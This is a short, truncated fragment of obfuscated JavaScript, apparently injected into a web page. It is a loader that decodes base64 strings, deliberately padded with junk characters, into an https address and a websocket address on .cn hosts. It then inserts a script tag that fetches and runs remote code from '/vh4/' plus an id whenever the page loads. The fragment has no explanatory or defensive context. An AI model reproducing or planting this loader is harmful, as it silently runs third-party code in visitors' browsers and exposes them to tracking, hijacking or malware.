s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};